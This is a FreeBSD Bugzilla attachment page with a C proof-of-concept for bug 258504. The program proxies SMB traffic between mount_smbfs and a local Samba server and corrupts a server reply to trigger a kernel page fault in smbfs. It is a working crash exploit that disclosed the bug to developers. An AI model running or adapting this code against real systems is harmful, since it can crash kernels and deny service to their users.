FreeBSD Bugzilla – Attachment 227902 Details for
Bug 258504
smbfs doesn't validate msg fields -> potential kernel page fault
Home
|
New
|
Browse
|
Search
|
[?]
|
Reports
|
Help
|
New Account
|
Log In
Remember
[x]
|
Forgot Password
Login:
[x]
demo to produce kernel page fault in smbfs code
sax1.c (text/plain), 4.96 KB, created by
Robert Morris
on 2021-09-14 17:32:43 UTC
(
hide
)
Description:
demo to produce kernel page fault in smbfs code
Filename:
MIME Type:
Creator:
Robert Morris
Created:
2021-09-14 17:32:43 UTC
Size:
4.96 KB
patch
obsolete
>// >// exercise smbfs kernel bug. acts as a proxy between >// client and server, and modifies the 4th server >// packet to provoke the bug. >// >// expects a samba 4.12 server to be running on the local host. >// /usr/local/etc/smb4.conf : >// [global] >// map to guest = Bad User >// server role = standalone >// workgroup = XXX >// allow unsafe cluster upgrade = yes >// server min protocol = LANMAN1 >// hostname lookups = no >// name resolve order = host >// log level = 2 >// [test] >// comment = For testing only, please >// path = /tmp >// read only = no >// guest ok = yes >// guest account = nobody >// >// sudo /usr/local/etc/rc.d/samba_server onestart >// >// cc -o sax1 sax1.c >// sudo ./sax1 >// > >#include <stdio.h> >#include <stdlib.h> >#include <assert.h> >#include <unistd.h> >#include <string.h> >#include <fcntl.h> >#include <signal.h> >#include <sys/wait.h> >#include <sys/socket.h> >#include <arpa/inet.h> >#include <sys/select.h> >#include <sys/resource.h> >#include <netinet/in.h> >#include <time.h> >#if defined(__FreeBSD__) >#include <link.h> >#include <dlfcn.h> >#endif > >#define NSYM (160 / 8) >static unsigned long long sa[NSYM] = { >0, >0, >0, >0, >0, >0x8000000000ull, >0, >0, >0, >0, >0, >0, >0, >0, >0, >0, >0, >0, >0, >0, >}; >static int si = 0; >static unsigned long long symx() { > if(si >= NSYM){ > fprintf(stderr, "sax: too many calls to symx()\n"); > return 0; > } > return sa[si++]; >} > >int >readable(int fd) >{ > fd_set readfds; > FD_ZERO(&readfds); > FD_SET(fd, &readfds); > struct timeval tv; > memset(&tv, 0, sizeof(tv)); > tv.tv_usec = 500 * 1000; > int ss = select(fd + 1, &readfds, (fd_set*)0, (fd_set*)0, &tv); > return FD_ISSET(fd, &readfds); >} > >void >middle(int client, int server) >{ > int nclient = 0, nserver = 0; > int done = 0; > while(done == 0){ > char buf[2048]; > int cc; > fd_set readfds; > FD_ZERO(&readfds); > FD_SET(client, &readfds); > FD_SET(server, &readfds); > int ss = select(32, &readfds, (fd_set*)0, (fd_set*)0, (struct timeval *)0); > if(ss < 0) { perror("select"); exit(1); } > > while(done == 0 && readable(client)){ > cc = read(client, buf, sizeof(buf)); > printf("client #%d %d @%ld\n", nclient, cc, time((void*)0)); > if(cc <= 0) { done = 1; break; } > if(0 && nclient == 1){ > for(int i = 0; i < cc; i += 8) > *(unsigned long long *)(buf + i) ^= symx(); > done = 1; > } > if(write(server, buf, cc) != cc) { perror("write to client"); done = 1; break; } > nclient += 1; > } > > while(done == 0 && readable(server)){ > cc = read(server, buf, sizeof(buf)); > printf("server #%d %d @%ld\n", nserver, cc, time((void*)0)); > if(cc <= 0) { done = 1; break; } > if(1 && nserver == 4){ > for(int i = 0; i < cc; i += 8) > *(unsigned long long *)(buf + i) ^= symx(); > done = 1; > } > if(write(client, buf, cc) != cc) { perror("write to client"); done = 1; break; } > nserver += 1; > } > } >} > >int main(int argc, char **argv) >{ > struct rlimit r; > r.rlim_cur = r.rlim_max = 0; > setrlimit(RLIMIT_CORE, &r); > > //system("/usr/local/etc/rc.d/samba_server onestart"); > > //system("/usr/local/samba/sbin/smbd --daemon --configfile=/usr/local/etc/smb4.conf"); > > signal(SIGPIPE, SIG_IGN); > > int s = socket(AF_INET, SOCK_STREAM, 0); > struct sockaddr_in sin; > memset(&sin, 0, sizeof(sin)); > sin.sin_family = AF_INET; > sin.sin_port = htons(1399); > if(bind(s, (struct sockaddr *)&sin, sizeof(sin)) < 0){ > perror("bind"); exit(1); > } > if(listen(s, 10) < 0) { perror("listen"); exit(1); } > > printf("waiting for server\n"); > while(1){ > int sfd = socket(AF_INET, SOCK_STREAM, 0); > if(sfd < 0) { perror("socket"); exit(1); } > memset(&sin, 0, sizeof(sin)); > sin.sin_family = AF_INET; > sin.sin_port = htons(139); // 139? 445? > sin.sin_addr.s_addr = inet_addr("127.0.0.1"); > if(connect(sfd, (struct sockaddr *)&sin, sizeof(sin)) == 0){ > close(sfd); > break; > } > perror("connect"); > close(sfd); > sleep(2); > } > printf("server is alive\n"); > > printf("%ld before 4 sleeps\n", time((void*)0)); > sleep(1); sleep(1); sleep(1); sleep(1); > > int mpid = fork(); > if(mpid == 0){ > > socklen_t sinlen = sizeof(sin); > int cfd = accept(s, (struct sockaddr *) &sin, &sinlen); > if(cfd < 0) { perror("accept"); exit(1); } > > int sfd = socket(AF_INET, SOCK_STREAM, 0); > if(sfd < 0) { perror("socket"); exit(1); } > memset(&sin, 0, sizeof(sin)); > sin.sin_family = AF_INET; > sin.sin_port = htons(139); // 139? 445? > sin.sin_addr.s_addr = inet_addr("127.0.0.1"); > if(connect(sfd, (struct sockaddr *)&sin, sizeof(sin)) != 0){ > perror("connect"); > exit(1); > } > > middle(cfd, sfd); > sleep(1); sleep(1); > exit(0); > } > > system("mount_smbfs -I 127.0.0.1 -N -W XXX //guest@samba:1399/test /mnt &"); > > int st = 0; > waitpid(mpid, &st, 0); > > for(int i = 0; i < 4; i++) sleep(1); > > if(system("dmesg | grep 'exited on sig'") == 0){ > printf("smbd (?) exited\n"); while(1){} > } >}
You cannot view the attachment while viewing its details because your browser does not support IFRAMEs.
View the attachment on a separate page
.
View Attachment As Raw
Actions:
View
Attachments on
bug 258504
: 227902